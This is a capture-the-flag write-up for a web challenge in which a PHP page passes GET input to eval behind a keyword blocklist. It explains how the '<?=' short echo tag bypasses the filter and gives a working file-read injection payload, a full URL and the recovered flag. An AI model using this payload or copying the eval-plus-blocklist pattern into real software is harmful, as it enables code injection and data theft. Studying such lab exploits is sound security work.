My friend makes ymmuy faleval, but sometimes he mixes up things… but what can you do? Author: @gehaxelt

Category: Web

Solver: lukasrad02, aes

Flag: ENO{YummY_YummY_Falafel_Expl01tz}

Scenario

Similar to the other web challenges of this CTF, the challenge consists of a single PHP file. When visiting the web site, we can access the PHP source code via a link.

Stripping things like the link to the source code, we are left with the following code:

<?php
ini_set("error_reporting", 0);
ini_set("short_open_tag", "Off");

// [...]

include "flag.php";

$input = $_GET['input'];

if(preg_match('/[^\x21-\x7e]/', $input)) {
    die("Illegal characters detected!");
}

$filter = array("<?php", "<? ", "?>", "echo", "var_dump", "var_export", "print_r", "FLAG");
$filter = array("<?php", "<? ", "?>","*", "/", "var_dump", "var_export", "print_r", "FLAG");
foreach($filter as &$keyword) {
    if(str_contains($input, $keyword)) {
        die("PHP code detected!\n");
    }
}

eval("?>" . $input);

echo "\n";

?>

<html>
    <!-- [...] -->
</html>

From this, we can conclude:

  1. The flag can be found in the flag.php file.
  2. We can pass some input via HTTP GET. This input will be filtered for some typical PHP code patterns and evaluated if no PHP code was detected.

The flag.php File

It is possible to access /flag.php via HTTP. However, we get an empty response. Presumably, the file contains the flag in a comment or variable that is not echoed to the response.

Hence, we have to take a look at the input we can provide.

Evaluating Input

As mentioned before, we can provide input that will be passed to PHP’s eval function. But, we cannot simply provide PHP code, as our input is prepended with a closing PHP tag.

In PHP, every text that is not wrapped in <?php ?> will be returned as-is in the HTTP response. For example, if we send “Hello World” as input, “Hello World” shows up on the top of the website. We can even pass HTML code, but this does not help us retrieving the flag.

To achieve execution of some actual PHP code, we must re-open the PHP tag first. Unfortunately, opening PHP tags are part of the filter list, as well as the shorthand form <? ?> (which is, additionally, disabled by the second ini_set call). But there is a third way to start PHP code evaluation: <?= is a shorthand for <?php echo, thus allowing us to execute PHP code and have its results printed to the response.

As the filter only contains <?php and <? (notice the trailing space at the second item), <?= does not trigger the detection mechanism. We want to get the contents of flag.php, so we pass

<?=file_get_contents("flag.php");

(Full URL: http://52.59.124.14:5000/?input=%3C?=file_get_contents(%22flag.php%22);)

To see the flag, we have to view the source code of the response, as browsers ignore non-HTML content before the opening <html> tag. In the source code, we see

<?php

$FLAG = "ENO{YummY_YummY_Falafel_Expl01tz}";

?>

[...]